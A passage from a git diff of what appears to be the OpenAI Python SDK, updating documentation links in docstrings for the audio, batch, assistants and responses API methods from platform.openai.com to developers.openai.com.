[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section of the Speech-to-Text guide](https://platform.openai.com/docs/guides/speech-to-text?lang=curl#streaming-transcriptions)
+ [Streaming section of the Speech-to-Text guide](https://developers.openai.com/api/docs/guides/speech-to-text?lang=curl#streaming)
for more information.
Note: Streaming is not supported for the `whisper-1` model and will be ignored.
@@ -439,7 +440,7 @@ def create(
prompt: An optional text to guide the model's style or continue a previous audio
segment. The
- [prompt](https://platform.openai.com/docs/guides/speech-to-text#prompting)
+ [prompt](https://developers.openai.com/api/docs/guides/speech-to-text#prompting)
should match the audio language. This field is not supported when using
`gpt-4o-transcribe-diarize`.
@@ -644,7 +645,7 @@ async def create(
prompt: An optional text to guide the model's style or continue a previous audio
segment. The
- [prompt](https://platform.openai.com/docs/guides/speech-to-text#prompting)
+ [prompt](https://developers.openai.com/api/docs/guides/speech-to-text#prompting)
should match the audio language. This field is not supported when using
`gpt-4o-transcribe-diarize`.
@@ -658,7 +659,7 @@ async def create(
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section of the Speech-to-Text guide](https://platform.openai.com/docs/guides/speech-to-text?lang=curl#streaming-transcriptions)
+ [Streaming section of the Speech-to-Text guide](https://developers.openai.com/api/docs/guides/speech-to-text?lang=curl#streaming)
for more information.
Note: Streaming is not supported for the `whisper-1` model and will be ignored.
@@ -773,7 +774,7 @@ async def create(
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section of the Speech-to-Text guide](https://platform.openai.com/docs/guides/speech-to-text?lang=curl#streaming-transcriptions)
+ [Streaming section of the Speech-to-Text guide](https://developers.openai.com/api/docs/guides/speech-to-text?lang=curl#streaming)
for more information.
Note: Streaming is not supported for the `whisper-1` model and will be ignored.
@@ -815,7 +816,7 @@ async def create(
prompt: An optional text to guide the model's style or continue a previous audio
segment. The
- [prompt](https://platform.openai.com/docs/guides/speech-to-text#prompting)
+ [prompt](https://developers.openai.com/api/docs/guides/speech-to-text#prompting)
should match the audio language. This field is not supported when using
`gpt-4o-transcribe-diarize`.
@@ -894,7 +895,7 @@ async def create(
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section of the Speech-to-Text guide](https://platform.openai.com/docs/guides/speech-to-text?lang=curl#streaming-transcriptions)
+ [Streaming section of the Speech-to-Text guide](https://developers.openai.com/api/docs/guides/speech-to-text?lang=curl#streaming)
for more information.
Note: Streaming is not supported for the `whisper-1` model and will be ignored.
@@ -936,7 +937,7 @@ async def create(
prompt: An optional text to guide the model's style or continue a previous audio
segment. The
- [prompt](https://platform.openai.com/docs/guides/speech-to-text#prompting)
+ [prompt](https://developers.openai.com/api/docs/guides/speech-to-text#prompting)
should match the audio language. This field is not supported when using
`gpt-4o-transcribe-diarize`.
diff --git a/src/openai/resources/audio/translations.py b/src/openai/resources/audio/translations.py
index c41ef1fd97..492b02d7bc 100644
--- a/src/openai/resources/audio/translations.py
+++ b/src/openai/resources/audio/translations.py
@@ -130,7 +130,7 @@ def create(
prompt: An optional text to guide the model's style or continue a previous audio
segment. The
- [prompt](https://platform.openai.com/docs/guides/speech-to-text#prompting)
+ [prompt](https://developers.openai.com/api/docs/guides/speech-to-text#prompting)
should be in English.
response_format: The format of the output, in one of these options: `json`, `text`, `srt`,
@@ -282,7 +282,7 @@ async def create(
prompt: An optional text to guide the model's style or continue a previous audio
segment. The
- [prompt](https://platform.openai.com/docs/guides/speech-to-text#prompting)
+ [prompt](https://developers.openai.com/api/docs/guides/speech-to-text#prompting)
should be in English.
response_format: The format of the output, in one of these options: `json`, `text`, `srt`,
diff --git a/src/openai/resources/batches.py b/src/openai/resources/batches.py
index 9e7381a30f..855ad86ff4 100644
--- a/src/openai/resources/batches.py
+++ b/src/openai/resources/batches.py
@@ -84,11 +84,12 @@ def create(
input_file_id: The ID of an uploaded file that contains requests for the new batch.
- See [upload file](https://platform.openai.com/docs/api-reference/files/create)
+ See
+ [upload file](https://developers.openai.com/api/reference/resources/files/methods/create)
for how to upload a file.
Your input file must be formatted as a
- [JSONL file](https://platform.openai.com/docs/api-reference/batch/request-input),
+ [JSONL file](https://developers.openai.com/api/docs/guides/batch#1-prepare-your-batch-file),
and must be uploaded with the purpose `batch`. The file can contain up to 50,000
requests, and can be up to 200 MB in size.
@@ -325,11 +326,12 @@ async def create(
input_file_id: The ID of an uploaded file that contains requests for the new batch.
- See [upload file](https://platform.openai.com/docs/api-reference/files/create)
+ See
+ [upload file](https://developers.openai.com/api/reference/resources/files/methods/create)
for how to upload a file.
Your input file must be formatted as a
- [JSONL file](https://platform.openai.com/docs/api-reference/batch/request-input),
+ [JSONL file](https://developers.openai.com/api/docs/guides/batch#1-prepare-your-batch-file),
and must be uploaded with the purpose `batch`. The file can contain up to 50,000
requests, and can be up to 200 MB in size.
diff --git a/src/openai/resources/beta/assistants.py b/src/openai/resources/beta/assistants.py
index 6c67501a07..a5c616b554 100644
--- a/src/openai/resources/beta/assistants.py
+++ b/src/openai/resources/beta/assistants.py
@@ -81,10 +81,10 @@ def create(
Args:
model: ID of the model to use. You can use the
- [List models](https://platform.openai.com/docs/api-reference/models/list) API to
- see all of your available models, or see our
- [Model overview](https://platform.openai.com/docs/models) for descriptions of
- them.
+ [List models](https://developers.openai.com/api/reference/resources/models/methods/list)
+ API to see all of your available models, or see our
+ [Model overview](https://developers.openai.com/api/docs/models) for descriptions
+ of them.
description: The description of the assistant. The maximum length is 512 characters.
@@ -104,18 +104,18 @@ def create(
are `none`, `minimal`, `low`, `medium`, `high`, `xhigh`, and `max`. Reducing
reasoning effort can result in faster responses and fewer tokens used on
reasoning in a response. Not all reasoning models support every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
response_format: Specifies the format that the model must output. Compatible with
- [GPT-4o](https://platform.openai.com/docs/models#gpt-4o),
- [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4),
- and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o),
+ [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and
+ all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the
message the model generates is valid JSON.
@@ -311,10 +311,10 @@ def update(
a maximum length of 512 characters.
model: ID of the model to use. You can use the
- [List models](https://platform.openai.com/docs/api-reference/models/list) API to
- see all of your available models, or see our
- [Model overview](https://platform.openai.com/docs/models) for descriptions of
- them.
+ [List models](https://developers.openai.com/api/reference/resources/models/methods/list)
+ API to see all of your available models, or see our
+ [Model overview](https://developers.openai.com/api/docs/models) for descriptions
+ of them.
name: The name of the assistant. The maximum length is 256 characters.
@@ -322,18 +322,18 @@ def update(
are `none`, `minimal`, `low`, `medium`, `high`, `xhigh`, and `max`. Reducing
reasoning effort can result in faster responses and fewer tokens used on
reasoning in a response. Not all reasoning models support every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
response_format: Specifies the format that the model must output. Compatible with
- [GPT-4o](https://platform.openai.com/docs/models#gpt-4o),
- [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4),
- and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o),
+ [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and
+ all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the
message the model generates is valid JSON.
@@ -560,10 +560,10 @@ async def create(
Args:
model: ID of the model to use. You can use the
- [List models](https://platform.openai.com/docs/api-reference/models/list) API to
- see all of your available models, or see our
- [Model overview](https://platform.openai.com/docs/models) for descriptions of
- them.
+ [List models](https://developers.openai.com/api/reference/resources/models/methods/list)
+ API to see all of your available models, or see our
+ [Model overview](https://developers.openai.com/api/docs/models) for descriptions
+ of them.
description: The description of the assistant. The maximum length is 512 characters.
@@ -583,18 +583,18 @@ async def create(
are `none`, `minimal`, `low`, `medium`, `high`, `xhigh`, and `max`. Reducing
reasoning effort can result in faster responses and fewer tokens used on
reasoning in a response. Not all reasoning models support every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
response_format: Specifies the format that the model must output. Compatible with
- [GPT-4o](https://platform.openai.com/docs/models#gpt-4o),
- [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4),
- and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o),
+ [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and
+ all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the
message the model generates is valid JSON.
@@ -790,10 +790,10 @@ async def update(
a maximum length of 512 characters.
model: ID of the model to use. You can use the
- [List models](https://platform.openai.com/docs/api-reference/models/list) API to
- see all of your available models, or see our
- [Model overview](https://platform.openai.com/docs/models) for descriptions of
- them.
+ [List models](https://developers.openai.com/api/reference/resources/models/methods/list)
+ API to see all of your available models, or see our
+ [Model overview](https://developers.openai.com/api/docs/models) for descriptions
+ of them.
name: The name of the assistant. The maximum length is 256 characters.
@@ -801,18 +801,18 @@ async def update(
are `none`, `minimal`, `low`, `medium`, `high`, `xhigh`, and `max`. Reducing
reasoning effort can result in faster responses and fewer tokens used on
reasoning in a response. Not all reasoning models support every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
response_format: Specifies the format that the model must output. Compatible with
- [GPT-4o](https://platform.openai.com/docs/models#gpt-4o),
- [GPT-4 Turbo](https://platform.openai.com/docs/models#gpt-4-turbo-and-gpt-4),
- and all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
+ [GPT-4o](https://developers.openai.com/api/docs/models/gpt-4o),
+ [GPT-4 Turbo](https://developers.openai.com/api/docs/models/gpt-4-turbo), and
+ all GPT-3.5 Turbo models since `gpt-3.5-turbo-1106`.
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables JSON mode, which ensures the
message the model generates is valid JSON.
diff --git a/src/openai/resources/beta/responses/input_tokens.py b/src/openai/resources/beta/responses/input_tokens.py
index cac50b1629..9047a6b328 100644
--- a/src/openai/resources/beta/responses/input_tokens.py
+++ b/src/openai/resources/beta/responses/input_tokens.py
@@ -87,8 +87,8 @@ def count(
model: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a
wide range of models with different capabilities, performance characteristics,
and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
parallel_tool_calls: Whether to allow the model to run tool calls in parallel.
@@ -98,17 +98,17 @@ def count(
previous_response_id: The unique ID of the previous response to the model. Use this to create
multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
reasoning: **gpt-5 and o-series models only** Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
text: Configuration options for a text response from the model. Can be plain text or
structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
tool_choice: Controls which tool the model should use, if any.
@@ -228,8 +228,8 @@ async def count(
model: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a
wide range of models with different capabilities, performance characteristics,
and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
parallel_tool_calls: Whether to allow the model to run tool calls in parallel.
@@ -239,17 +239,17 @@ async def count(
previous_response_id: The unique ID of the previous response to the model. Use this to create
multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
reasoning: **gpt-5 and o-series models only** Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
text: Configuration options for a text response from the model. Can be plain text or
structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
tool_choice: Controls which tool the model should use, if any.
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index 8f45bfdba7..c8824c242b 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -259,20 +259,20 @@ def create(
"""Creates a model response.
Provide
- [text](https://platform.openai.com/docs/guides/text) or
- [image](https://platform.openai.com/docs/guides/images) inputs to generate
- [text](https://platform.openai.com/docs/guides/text) or
- [JSON](https://platform.openai.com/docs/guides/structured-outputs) outputs. Have
- the model call your own
- [custom code](https://platform.openai.com/docs/guides/function-calling) or use
- built-in [tools](https://platform.openai.com/docs/guides/tools) like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search) to use
- your own data as input for the model's response.
+ [text](https://developers.openai.com/api/docs/guides/text) or
+ [image](https://developers.openai.com/api/docs/guides/images-vision) inputs to
+ generate [text](https://developers.openai.com/api/docs/guides/text) or
+ [JSON](https://developers.openai.com/api/docs/guides/structured-outputs)
+ outputs. Have the model call your own
+ [custom code](https://developers.openai.com/api/docs/guides/function-calling) or
+ use built-in [tools](https://developers.openai.com/api/docs/guides/tools) like
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search) or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search)
+ to use your own data as input for the model's response.
Args:
background: Whether to run the model response in the background.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
context_management: Context management configuration for this request.
@@ -304,11 +304,11 @@ def create(
Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Image inputs](https://platform.openai.com/docs/guides/images)
- - [File inputs](https://platform.openai.com/docs/guides/pdf-files)
- - [Conversation state](https://platform.openai.com/docs/guides/conversation-state)
- - [Function calling](https://platform.openai.com/docs/guides/function-calling)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Image inputs](https://developers.openai.com/api/docs/guides/images-vision)
+ - [File inputs](https://developers.openai.com/api/docs/guides/file-inputs)
+ - [Conversation state](https://developers.openai.com/api/docs/guides/conversation-state)
+ - [Function calling](https://developers.openai.com/api/docs/guides/function-calling)
instructions: A system (or developer) message inserted into the model's context.
@@ -318,7 +318,7 @@ def create(
max_output_tokens: An upper bound for the number of tokens that can be generated for a response,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
max_tool_calls: The maximum number of total calls to built-in tools that can be processed in a
response. This maximum number applies across all built-in tool calls, not per
@@ -335,8 +335,8 @@ def create(
model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
moderation: Configuration for running moderation on the input and output of this response.
@@ -346,15 +346,15 @@ def create(
previous_response_id: The unique ID of the previous response to the model. Use this to create
multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
prompt: Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
prompt_cache_key: Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
prompt_cache_options: Options for prompt caching. Supported for `gpt-5.6` and later models. By
default, OpenAI automatically chooses one implicit cache breakpoint. You can add
@@ -363,7 +363,7 @@ def create(
up to the latest 80 breakpoints in the conversation, without a content-block
lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The
`ttl` defaults to `30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
prompt_cache_retention: Deprecated. Use `prompt_cache_options.ttl` instead.
@@ -371,7 +371,7 @@ def create(
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -385,14 +385,14 @@ def create(
`prompt_cache_retention` is not specified.
reasoning: Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
violating OpenAI's usage policies. The IDs should be a string that uniquely
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
service_tier: Specifies the processing type used for serving the request.
@@ -401,13 +401,15 @@ def create(
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- If set to 'ultrafast', then the request will be processed with the
access-controlled Ultrafast Processing service tier. This tier is currently
available for `gpt-5.6-sol`; a response served through it will show
@@ -422,13 +424,13 @@ def create(
store: Whether to store the generated model response for later retrieval via API.
Defaults to true when omitted. If set to true, response data will be stored for
at least 30 days, subject to the
- [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ [data retention exceptions](https://developers.openai.com/api/docs/guides/your-data#v1responses).
stream: If set to true, the model response data will be streamed to the client as it is
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
stream_options: Options for streaming responses. Only set this when you set `stream: true`.
@@ -441,8 +443,8 @@ def create(
text: Configuration options for a text response from the model. Can be plain text or
structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
tool_choice: How the model should select which tool (or tools) to use when generating a
response. See the `tools` parameter to see how to specify which tools the model
@@ -455,17 +457,18 @@ def create(
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **MCP Tools**: Integrations with third-party systems via custom MCP servers or
predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://platform.openai.com/docs/guides/tools-connectors-mcp).
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code with strongly typed arguments and outputs.
Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
You can also use custom tools to call your own code.
top_logprobs: An integer between 0 and 20 specifying the maximum number of most likely tokens
@@ -490,7 +493,7 @@ def create(
`prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -657,27 +660,27 @@ def create(
"""Creates a model response.
Provide
- [text](https://platform.openai.com/docs/guides/text) or
- [image](https://platform.openai.com/docs/guides/images) inputs to generate
- [text](https://platform.openai.com/docs/guides/text) or
- [JSON](https://platform.openai.com/docs/guides/structured-outputs) outputs. Have
- the model call your own
- [custom code](https://platform.openai.com/docs/guides/function-calling) or use
- built-in [tools](https://platform.openai.com/docs/guides/tools) like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search) to use
- your own data as input for the model's response.
+ [text](https://developers.openai.com/api/docs/guides/text) or
+ [image](https://developers.openai.com/api/docs/guides/images-vision) inputs to
+ generate [text](https://developers.openai.com/api/docs/guides/text) or
+ [JSON](https://developers.openai.com/api/docs/guides/structured-outputs)
+ outputs. Have the model call your own
+ [custom code](https://developers.openai.com/api/docs/guides/function-calling) or
+ use built-in [tools](https://developers.openai.com/api/docs/guides/tools) like
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search) or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search)
+ to use your own data as input for the model's response.
Args:
stream: If set to true, the model response data will be streamed to the client as it is
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
background: Whether to run the model response in the background.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
context_management: Context management configuration for this request.
@@ -709,11 +712,11 @@ def create(
Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Image inputs](https://platform.openai.com/docs/guides/images)
- - [File inputs](https://platform.openai.com/docs/guides/pdf-files)
- - [Conversation state](https://platform.openai.com/docs/guides/conversation-state)
- - [Function calling](https://platform.openai.com/docs/guides/function-calling)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Image inputs](https://developers.openai.com/api/docs/guides/images-vision)
+ - [File inputs](https://developers.openai.com/api/docs/guides/file-inputs)
+ - [Conversation state](https://developers.openai.com/api/docs/guides/conversation-state)
+ - [Function calling](https://developers.openai.com/api/docs/guides/function-calling)
instructions: A system (or developer) message inserted into the model's context.
@@ -723,7 +726,7 @@ def create(
max_output_tokens: An upper bound for the number of tokens that can be generated for a response,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
max_tool_calls: The maximum number of total calls to built-in tools that can be processed in a
response. This maximum number applies across all built-in tool calls, not per
@@ -740,8 +743,8 @@ def create(
model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
moderation: Configuration for running moderation on the input and output of this response.
@@ -751,15 +754,15 @@ def create(
previous_response_id: The unique ID of the previous response to the model. Use this to create
multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
prompt: Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
prompt_cache_key: Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
prompt_cache_options: Options for prompt caching. Supported for `gpt-5.6` and later models. By
default, OpenAI automatically chooses one implicit cache breakpoint. You can add
@@ -768,7 +771,7 @@ def create(
up to the latest 80 breakpoints in the conversation, without a content-block
lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The
`ttl` defaults to `30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
prompt_cache_retention: Deprecated. Use `prompt_cache_options.ttl` instead.
@@ -776,7 +779,7 @@ def create(
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -790,14 +793,14 @@ def create(
`prompt_cache_retention` is not specified.
reasoning: Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
violating OpenAI's usage policies. The IDs should be a string that uniquely
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
service_tier: Specifies the processing type used for serving the request.
@@ -806,13 +809,15 @@ def create(
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
